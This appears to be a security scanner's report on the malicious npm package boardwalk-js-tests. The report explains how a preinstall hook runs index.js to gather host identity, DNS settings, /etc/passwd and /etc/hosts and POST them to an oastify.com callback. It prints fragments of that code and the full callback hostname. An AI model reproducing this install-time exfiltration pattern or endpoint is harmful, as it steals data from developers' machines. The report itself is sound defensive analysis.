boardwalk-js-tests@1.1.1: Malicious npm security report (Block)

AI Security Review

scanned 14d ago · by lpm-firewall-ai

Install-time code harvests host identity and local system-file contents, then exfiltrates them over HTTPS.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm installation, via the preinstall lifecycle hook.

Impact

Leaks installation-host identity, DNS configuration, and readable /etc/passwd and /etc/hosts contents.

Mechanism

preinstall host-data collection and HTTPS POST exfiltration

Attack narrative

Installing the package invokes index.js through preinstall. That script gathers host and user identifiers, DNS servers, and the contents of /etc/passwd and /etc/hosts if present, then sends them in an HTTPS POST request to a fixed oastify.com host.

Rationale

The package has no apparent package-aligned reason to collect and transmit this system data during installation. The exfiltration is concrete and automatically triggered.

Evidence

package.jsonindex.js

Network endpoints1

h8q14cqgn5ra8v0bjg70nqxsbjhc52tr.oastify.com

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-12062

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in boardwalk-js-tests (npm)

Details

package.json declares `preinstall: node index.js`. On `npm install`, index.js collects the installer's hostname, username, homedir, DNS server list, and current working directory, reads /etc/passwd and /etc/hosts, and POSTs the JSON payload over HTTPS to h8q14cqgn5ra8v0bjg70nqxsbjhc52tr.oastify.com — a Burp Collaborator (OAST) subdomain used as an attacker-controlled exfiltration callback. The package provides no advertised functionality; its sole install-time behavior is host reconnaissance and data exfiltration.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs `node index.js` in preinstall.
index.js collects home path, hostname, username, and DNS servers.
index.js reads /etc/passwd and /etc/hosts when present.
index.js POSTs collected data to an OAST endpoint.

Evidence against

Behavioral surface

Source

FilesystemNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.97 KB of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: const fs = require("fs"); L4: const https = require("https"); L5: const packageJSON = require("./package.json"); L6: const packageName = packageJSON.name; ... L10: p: packageName, // Package name L11: c: __dirname, // Directory where the package is installed L12: hd: os.homedir(), // Home directory on the remote server L13: hn: os.hostname(), // Hostname of the remote server L14: un: os.userInfo().username, // Username on the remote server ... L17: pjson: packageJSON, // Full package.json data

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const https = require("https"); const trackingData = JSON.stringify({ // Prepare the POST request data var postData = JSON.stringify({ hostname: "[redacted].oastify.com", // Burp Collaborator server method: "POST", "Content-Length": postData.length, // Send the data via HTTPS POST request

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = aedes_clusters@1.0.1 matchedPath = index.js matchedIdentity = npm:YWVkZXNfY2x1c3RlcnM:1.0.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5442fb9217b0dd0a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = aedes_clusters@1.0.1 matchedPath = index.js matchedIdentity = npm:YWVkZXNfY2x1c3RlcnM:1.0.1 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: const fs = require("fs"); L4: const https = require("https"); L5: const packageJSON = require("./package.json"); L6: const packageName = packageJSON.name; ... L10: p: packageName, // Package name L11: c: __dirname, // Directory where the package is installed L12: hd: os.homedir(), // Home directory on the remote server L13: hn: os.hostname(), // Hostname of the remote server L14: un: os.userInfo().username, // Username on the remote server ... L17: pjson: packageJSON, // Full package.json data

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const https = require("https"); const trackingData = JSON.stringify({ // Prepare the POST request data var postData = JSON.stringify({ hostname: "[redacted].oastify.com", // Burp Collaborator server method: "POST", "Content-Length": postData.length, // Send the data via HTTPS POST request

Findings

5 High1 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

HighTrigger Reachable External Post Callbackindex.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

MediumNetwork

LowScripts Present

LowFilesystem

LowHigh Entropy Strings